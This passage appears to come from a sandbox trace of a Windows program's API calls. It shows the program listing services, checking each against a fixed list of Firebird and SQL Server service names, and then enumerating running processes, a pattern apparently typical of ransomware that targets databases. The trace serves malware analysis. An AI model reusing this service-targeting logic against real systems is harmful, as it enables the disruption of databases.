lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0227.960] CloseServiceHandle (hSCObject=0x6fb6f0) returned 1 [0227.961] lstrlenW (lpString="AppXSvc") returned 7 [0227.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0227.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0227.961] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0227.961] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0227.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0227.961] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0227.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0227.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0227.961] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0227.961] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0227.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0227.961] lstrlenW (lpString="Audiosrv") returned 8 [0227.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0227.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0227.961] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0227.961] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0227.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0227.961] lstrlenW (lpString="BFE") returned 3 [0227.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0227.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0227.961] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0227.961] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0227.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0227.962] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0227.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0227.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0227.962] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0227.962] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0227.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0227.962] lstrlenW (lpString="CDPSvc") returned 6 [0227.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0227.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0227.962] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0227.962] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0227.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0227.962] lstrlenW (lpString="ClickToRunSvc") returned 13 [0227.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0227.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0227.962] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0227.962] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0227.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0227.962] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0227.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0227.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0227.962] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0227.962] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0227.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0227.962] lstrlenW (lpString="CryptSvc") returned 8 [0227.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0227.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0227.963] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0227.963] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0227.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0227.963] lstrlenW (lpString="DcomLaunch") returned 10 [0227.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0227.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0227.963] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0227.963] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0227.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0227.963] lstrlenW (lpString="DeviceAssociationService") returned 24 [0227.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0227.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0227.963] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0227.963] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0227.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0227.963] lstrlenW (lpString="Dhcp") returned 4 [0227.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0227.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0227.963] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0227.963] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0227.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0227.963] lstrlenW (lpString="Dnscache") returned 8 [0227.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0227.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0227.963] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0227.963] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0227.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0227.964] lstrlenW (lpString="DPS") returned 3 [0227.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0227.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0227.964] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0227.964] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0227.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0227.964] lstrlenW (lpString="DusmSvc") returned 7 [0227.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0227.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0227.964] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0227.964] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0227.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0227.964] lstrlenW (lpString="EventLog") returned 8 [0227.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0227.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0227.964] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0227.964] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0227.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0227.964] lstrlenW (lpString="EventSystem") returned 11 [0227.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0227.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0227.964] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0227.964] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0227.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0227.964] lstrlenW (lpString="FontCache") returned 9 [0227.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0227.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0227.965] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0227.965] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0227.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0227.965] lstrlenW (lpString="gpsvc") returned 5 [0227.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0227.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0227.965] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0227.965] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0227.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0227.965] lstrlenW (lpString="iphlpsvc") returned 8 [0227.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0227.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0227.965] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0227.965] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0227.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0227.965] lstrlenW (lpString="KeyIso") returned 6 [0227.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0227.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0227.965] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0227.965] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0227.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0227.965] lstrlenW (lpString="LanmanServer") returned 12 [0227.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0227.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0227.965] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0227.965] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0227.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0227.966] lstrlenW (lpString="LanmanWorkstation") returned 17 [0227.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0227.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0227.966] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0227.966] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0227.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0227.966] lstrlenW (lpString="lfsvc") returned 5 [0227.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0227.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0227.966] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0227.966] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0227.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0227.966] lstrlenW (lpString="lmhosts") returned 7 [0227.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0227.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0227.966] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0227.966] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0227.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0227.966] lstrlenW (lpString="LSM") returned 3 [0227.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0227.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0227.966] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0227.966] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0227.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0227.966] lstrlenW (lpString="MpsSvc") returned 6 [0227.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0227.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0227.966] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0227.967] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0227.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0227.967] lstrlenW (lpString="NcbService") returned 10 [0227.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0227.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0227.967] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0227.967] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0227.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0227.967] lstrlenW (lpString="netprofm") returned 8 [0227.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0227.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0227.967] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0227.967] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0227.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0227.967] lstrlenW (lpString="NgcSvc") returned 6 [0227.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0227.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0227.967] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0227.967] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0227.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0227.967] lstrlenW (lpString="NlaSvc") returned 6 [0227.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0227.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0227.967] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0227.967] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0227.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0227.967] lstrlenW (lpString="nsi") returned 3 [0227.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0227.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0227.968] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0227.968] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0227.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0227.968] lstrlenW (lpString="PcaSvc") returned 6 [0227.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0227.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0227.968] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0227.968] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0227.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0227.968] lstrlenW (lpString="PlugPlay") returned 8 [0227.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0227.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0227.968] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0227.968] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0227.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0227.968] lstrlenW (lpString="Power") returned 5 [0227.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0227.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0227.968] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0227.968] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0227.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0227.968] lstrlenW (lpString="ProfSvc") returned 7 [0227.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0227.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0227.968] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0227.969] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0227.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0228.227] lstrlenW (lpString="RpcEptMapper") returned 12 [0228.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0228.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0228.227] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0228.227] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0228.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0228.227] lstrlenW (lpString="RpcSs") returned 5 [0228.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0228.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0228.227] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0228.228] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0228.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0228.228] lstrlenW (lpString="SamSs") returned 5 [0228.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0228.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0228.228] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0228.228] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0228.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0228.228] lstrlenW (lpString="Schedule") returned 8 [0228.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0228.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0228.228] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0228.228] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0228.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0228.228] lstrlenW (lpString="SecurityHealthService") returned 21 [0228.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0228.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0228.228] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0228.228] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0228.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0228.228] lstrlenW (lpString="SENS") returned 4 [0228.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0228.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0228.228] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0228.228] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0228.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0228.228] lstrlenW (lpString="ShellHWDetection") returned 16 [0228.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0228.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0228.229] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0228.229] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0228.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0228.229] lstrlenW (lpString="Spooler") returned 7 [0228.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0228.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0228.229] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0228.229] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0228.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0228.229] lstrlenW (lpString="StateRepository") returned 15 [0228.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0228.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0228.229] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0228.229] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0228.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0228.229] lstrlenW (lpString="SysMain") returned 7 [0228.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0228.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0228.229] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0228.229] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0228.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0228.229] lstrlenW (lpString="SystemEventsBroker") returned 18 [0228.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0228.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0228.229] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0228.229] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0228.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0228.229] lstrlenW (lpString="Themes") returned 6 [0228.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0228.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0228.229] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0228.229] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0228.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0228.230] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0228.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0228.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0228.230] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0228.230] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0228.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0228.230] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0228.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0228.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0228.230] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0228.230] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0228.230] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x425de48 | out: hHeap=0x670000) returned 1 [0228.230] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388 [0228.236] Process32FirstW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0228.237] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0228.237] lstrlenW (lpString="System") returned 6 [0228.237] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0228.238] lstrlenW (lpString="smss.exe") returned 8 [0228.238] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0228.238] lstrlenW (lpString="csrss.exe") returned 9 [0228.238] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0228.239] lstrlenW (lpString="wininit.exe") returned 11 [0228.239] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0228.239] lstrlenW (lpString="csrss.exe") returned 9 [0228.239] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0228.240] lstrlenW 